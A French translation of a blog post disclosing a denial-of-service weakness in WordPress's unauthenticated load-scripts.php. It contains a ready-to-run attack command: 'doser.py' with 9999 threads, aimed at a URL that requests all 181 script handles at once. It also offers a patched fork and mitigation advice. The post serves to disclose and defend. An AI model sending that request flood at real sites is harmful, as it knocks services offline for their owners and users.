Selon WordPress.com, le CMS propulse 29% des sites du Web.

Dans cet article, je vais vous expliquer comment les attaques par déni de service (DDoS) peuvent concerner presque n’importe quel site WordPress en ligne et comment vous pouvez « patcher » votre site WordPress pour éviter que cette vulnérabilité soit exploitée.

Veuillez noter qu’exploiter cette vulnérabilité est illégal, sauf si vous avez la permission du propriétaire du site.

Voici la faille de sécurité qui permet de surcharger presque tout site WordPress

Alors que je naviguais sur un site WordPress, mon attention a été attirée par cette URL :

https://example.com/wp-admin/load-scripts.php?c=1&load%5B%5D=jquery-ui-core&ver=4.9.1

Le fichier load-scripts.php reçoit un paramètre nommé load[], dont la valeur est ‘jquery-ui-core’. Dans la réponse, je reçois le module JavaScript ‘jQuery UI Core’ qui a été demandé par la requête, comme démontré dans l’image suivante :

Cette URL est manifestement destinée à délivrer certains modules JavaScript aux utilisateurs. Ajoutez à cela que le paramètre load[] est un tableau pouvant contenir plusieurs variables de données, ce qui signifie qu’il est possible de fournir une multitude de valeurs et donc obtenir une foule de modules JavaScript en même temps, dans une seule réponse du serveur.

Puisque WordPress est open-source, il est facile de vérifier cela via le code de cette fonctionnalité. C’est ce que j’ai fait et j’ai compris que cette fonctionnalité servait à économiser le nombre de requêtes envoyées par le client lorsqu’il tente de charger des fichiers JS ou CSS. Donc, lorsque le navigateur a besoin de charger plusieurs fichiers JS/CSS, il utilise le load-scripts.php (pour le JavaScript) ou le load-styles.php (pour les fichiers CSS) et le navigateur reçoit ensuite plusieurs fichiers JS/CSS concaténés, au travers d’une seule et même requête – cela est préférable en terme de performance afin que la page se charge plus rapidement. Il faut savoir que cette fonctionnalité a été conçue uniquement pour la partie admin de WordPress (tableau de bord, dashboard, backend…). Cependant, celle-ci est aussi utilisée sur la page wp-login.php pour laquelle aucune authentification n’est requise pour y accéder. Il est donc tout à fait possible de charger ces scripts sans être connecté à la zone privée du site WordPress.

J’ai commencé par manipuler cette fonctionnalité en passant en guise de valeur une liste de plusieurs ‘jquery-ui-core’ entre virgules, à la suite les unes des autres, comme ceci :

https://example.com/wp-admin/load-scripts.php?c=1&load%5B%5D=jquery-ui-core,jquery-ui-core,jquery-ui-core,jquery-ui-core,jquery-ui-core,jquery-ui-core&ver=4.9.1

Je pensais que je pourrais demander au serveur de lire le même fichier, encore et encore, affichés les uns à la suite des autres, mais l’utilisation de la fonction ‘array_unique’ supprime les copies dupliquées des tableaux, donc ça n’a pas fonctionné :

J’ai continué à explorer le code et j’ai trouvé quelque chose d’intéressant dans le bout de code suivant… j’ai voulu analyser cela de plus près :

C’est une liste bien définie de $wp_scripts qui peuvent être demandées dans une requête d’utilisateur comme valeur du paramètre load[]. Si la valeur demandée existe, le serveur va effectuer une action de lecture d’I/O (In/Entrée, Out/Sortie) pour un chemin d’accès bien défini, associé à la requête de l’utilisateur.

La liste de valeurs acceptées de wp_scripts est codée en dur et est définie dans le fichier script-loader.php (ici : https://github.com/WordPress/WordPress/blob/master/wp-includes/script-loader.php)

Il n’y a pas moins de 181 valeurs dans cette liste :
eutil,common,wp-a11y,sack,quicktag,colorpicker,editor,wp-fullscreen-stu,wp-ajax-response,wp-api-request,wp-pointer,autosave,heartbeat,wp-auth-check,wp-lists,prototype,scriptaculous-root,scriptaculous-builder,scriptaculous-dragdrop,scriptaculous-effects,scriptaculous-slider,scriptaculous-sound,scriptaculous-controls,scriptaculous,cropper,jquery,jquery-core,jquery-migrate,jquery-ui-core,jquery-effects-core,jquery-effects-blind,jquery-effects-bounce,jquery-effects-clip,jquery-effects-drop,jquery-effects-explode,jquery-effects-fade,jquery-effects-fold,jquery-effects-highlight,jquery-effects-puff,jquery-effects-pulsate,jquery-effects-scale,jquery-effects-shake,jquery-effects-size,jquery-effects-slide,jquery-effects-transfer,jquery-ui-accordion,jquery-ui-autocomplete,jquery-ui-button,jquery-ui-datepicker,jquery-ui-dialog,jquery-ui-draggable,jquery-ui-droppable,jquery-ui-menu,jquery-ui-mouse,jquery-ui-position,jquery-ui-progressbar,jquery-ui-resizable,jquery-ui-selectable,jquery-ui-selectmenu,jquery-ui-slider,jquery-ui-sortable,jquery-ui-spinner,jquery-ui-tabs,jquery-ui-tooltip,jquery-ui-widget,jquery-form,jquery-color,schedule,jquery-query,jquery-serialize-object,jquery-hotkeys,jquery-table-hotkeys,jquery-touch-punch,suggest,imagesloaded,masonry,jquery-masonry,thickbox,jcrop,swfobject,moxiejs,plupload,plupload-handlers,wp-plupload,swfupload,swfupload-all,swfupload-handlers,comment-repl,json2,underscore,backbone,wp-util,wp-sanitize,wp-backbone,revisions,imgareaselect,mediaelement,mediaelement-core,mediaelement-migrat,mediaelement-vimeo,wp-mediaelement,wp-codemirror,csslint,jshint,esprima,jsonlint,htmlhint,htmlhint-kses,code-editor,wp-theme-plugin-editor,wp-playlist,zxcvbn-async,password-strength-meter,user-profile,language-chooser,user-suggest,admin-ba,wplink,wpdialogs,word-coun,media-upload,hoverIntent,customize-base,customize-loader,customize-preview,customize-models,customize-views,customize-controls,customize-selective-refresh,customize-widgets,customize-preview-widgets,customize-nav-menus,customize-preview-nav-menus,wp-custom-header,accordion,shortcode,media-models,wp-embe,media-views,media-editor,media-audiovideo,mce-view,wp-api,admin-tags,admin-comments,xfn,postbox,tags-box,tags-suggest,post,editor-expand,link,comment,admin-gallery,admin-widgets,media-widgets,media-audio-widget,media-image-widget,media-gallery-widget,media-video-widget,text-widgets,custom-html-widgets,theme,inline-edit-post,inline-edit-tax,plugin-install,updates,farbtastic,iris,wp-color-picker,dashboard,list-revision,media-grid,media,image-edit,set-post-thumbnail,nav-menu,custom-header,custom-background,media-gallery,svg-painter

Je me suis demandé ceci : quel problème pourrait subvenir si j’envoyais au serveur une requête afin qu’il me renvoi tous les modules JavaScript listés, sans exception ? Une seule requête pourrait contraindre le serveur à effectuer 181 lectures/impressions (I/O) et à livrer le contenu de tous ces fichiers dans une seule réponse.

Donc, c’est ce que j’ai tenté de faire. J’ai envoyé une requête au serveur, comme ceci :

Test perso Mr WP

Le serveur a répondu après 2,2 secondes avec près de 4 Mo de données. Il s’agissait pour le serveur d’une requête très dure à traiter.

J’ai donc décidé d’utiliser « doser.py » : un simple outil que j’ai créé pour constamment répéter des requêtes (oui, je sais, les threads Python sont un peu pourries, mais j’aime bien Python!), tout cela afin de causer une attaque DDoS… et devinez quoi ? Ça a marché ! 🙂

python doser.py -g 'http://example.com/wp-admin/load-scripts.php?c=1&load%5B%5D=eutil,common,wp-a11y,sack,quicktag,colorpicker,editor,wp-fullscreen-stu,wp-ajax-response,wp-api-request,wp-pointer,autosave,heartbeat,wp-auth-check,wp-lists,prototype,scriptaculous-root,scriptaculous-builder,scriptaculous-dragdrop,scriptaculous-effects,scriptaculous-slider,scriptaculous-sound,scriptaculous-controls,scriptaculous,cropper,jquery,jquery-core,jquery-migrate,jquery-ui-core,jquery-effects-core,jquery-effects-blind,jquery-effects-bounce,jquery-effects-clip,jquery-effects-drop,jquery-effects-explode,jquery-effects-fade,jquery-effects-fold,jquery-effects-highlight,jquery-effects-puff,jquery-effects-pulsate,jquery-effects-scale,jquery-effects-shake,jquery-effects-size,jquery-effects-slide,jquery-effects-transfer,jquery-ui-accordion,jquery-ui-autocomplete,jquery-ui-button,jquery-ui-datepicker,jquery-ui-dialog,jquery-ui-draggable,jquery-ui-droppable,jquery-ui-menu,jquery-ui-mouse,jquery-ui-position,jquery-ui-progressbar,jquery-ui-resizable,jquery-ui-selectable,jquery-ui-selectmenu,jquery-ui-slider,jquery-ui-sortable,jquery-ui-spinner,jquery-ui-tabs,jquery-ui-tooltip,jquery-ui-widget,jquery-form,jquery-color,schedule,jquery-query,jquery-serialize-object,jquery-hotkeys,jquery-table-hotkeys,jquery-touch-punch,suggest,imagesloaded,masonry,jquery-masonry,thickbox,jcrop,swfobject,moxiejs,plupload,plupload-handlers,wp-plupload,swfupload,swfupload-all,swfupload-handlers,comment-repl,json2,underscore,backbone,wp-util,wp-sanitize,wp-backbone,revisions,imgareaselect,mediaelement,mediaelement-core,mediaelement-migrat,mediaelement-vimeo,wp-mediaelement,wp-codemirror,csslint,jshint,esprima,jsonlint,htmlhint,htmlhint-kses,code-editor,wp-theme-plugin-editor,wp-playlist,zxcvbn-async,password-strength-meter,user-profile,language-chooser,user-suggest,admin-ba,wplink,wpdialogs,word-coun,media-upload,hoverIntent,customize-base,customize-loader,customize-preview,customize-models,customize-views,customize-controls,customize-selective-refresh,customize-widgets,customize-preview-widgets,customize-nav-menus,customize-preview-nav-menus,wp-custom-header,accordion,shortcode,media-models,wp-embe,media-views,media-editor,media-audiovideo,mce-view,wp-api,admin-tags,admin-comments,xfn,postbox,tags-box,tags-suggest,post,editor-expand,link,comment,admin-gallery,admin-widgets,media-widgets,media-audio-widget,media-image-widget,media-gallery-widget,media-video-widget,text-widgets,custom-html-widgets,theme,inline-edit-post,inline-edit-tax,plugin-install,updates,farbtastic,iris,wp-color-picker,dashboard,list-revision,media-grid,media,image-edit,set-post-thumbnail,nav-menu,custom-header,custom-background,media-gallery,svg-painter&ver=4.9' -t 9999

Tout au long de l’exécution de mon script, alors qu’il envoyait des requêtes, le serveur était trop surchargé pour traiter n’importe quelle autre demande d’utilisateur normal.

J’avais effectivement bien causé un déni de service (DDoS).

Rappelons que load-scripts.php ne requiert pas d’authentification et que n’importe quel anonyme peut envoyer des requêtes à ce script.

Après 500 requêtes environ, le serveur ne répondait plus du tout ou renvoyait des codes d’erreur 502/503/504 comme ceci :

Test complet en vidéo :

WordPress est une application généreuse en termes de bugs, et je les ai contacté au sujet de ce problème, même si je sais que les vulnérabilités portant sur les attaques DDoS sont « out-of-scope » (en dehors du champ). Je leur ai signalé cela via HackerOne et j’ai expliqué la vulnérabilité, je voulais leur faire savoir, dans les règles, que je pensais qu’il y a ici un vrai problème de sécurité. Après plusieurs échanges dans lesquels je voulais leur expliquer la situation, avec vidéo à l’appui, ils ont refusé de reconnaitre qu’il y avait un souci en revendiquant ceci :

« Ce type de choses devrait être atténué/pris en charge par le serveur lui-même ou au niveau du réseau plutôt qu’au niveau applicatif, cela est donc hors du contrôle de WordPress. »

Même si j’étais très frustré de voir qu’ils ne reconnaissaient pas cela comme une vulnérabilité, j’ai continué d’explorer comment je pouvais réduire les conséquences potentielles de telles attaques. J’ai « fork » le code source de WordPress et j’ai créé une version corrigée** où seuls les utilisateurs authentifiés peuvent accéder aux fichiers load-*.php et ce, sans que cela ne nuise à la page wp-login.php ou à ses fonctionnalités. Donc, si vous utilisez WordPress ou si vous comptez le faire prochainement, je vous recommande d’utiliser la version modifiée.

Dans le cas où vous avez un WordPress sur une machine Linux, j’ai créé un fichier « bash »** qui modifie les fichiers concernés pour atténuer cette vulnérabilité.

Par Barak Tawily. Traduction : Mister WordPress.

** Tout cela est téléchargeable sur le GitHub de « Quitten » : https://github.com/quitten/ (ceci est réservé aux experts qui savent parfaitement ce qu’ils font). Un plugin tel que Wordfence peut aussi vous aider à vous protéger des requêtes suspectes faites à votre serveur d’hébergement WordPress et ce, sans altérer le code source original de WordPress (WP core, le cœur).

Il y a une vraie nécessité d’une maintenance de WordPress régulière et d’un hébergement Web fiable, performant et sécurisé !

Pour aller plus loin :

  • Source originale (anglais) : https://baraktawily.blogspot.fr/2018/02/how-to-dos-29-of-world-wide-websites.html

Maintenance WordPress & Hébergement sécurisé

Inutile de vous rappeler qu’il est important, pour tout utilisateur de WordPress, de bénéficier d’un hébergement de site Web performant et sécurisé, ainsi que d’avoir un spécialiste expert WordPress compétent à sa disposition, à portée de main, pour agir en cas de pépin 😉 Je vous déconseille de chercher un webmaster compétent dans l’urgence. Mieux vaut prévenir que guérir.

À vos commentaires ci-dessous ! Tous les avis nous intéressent.


Nos offres commerciales pouvant vous intéresser :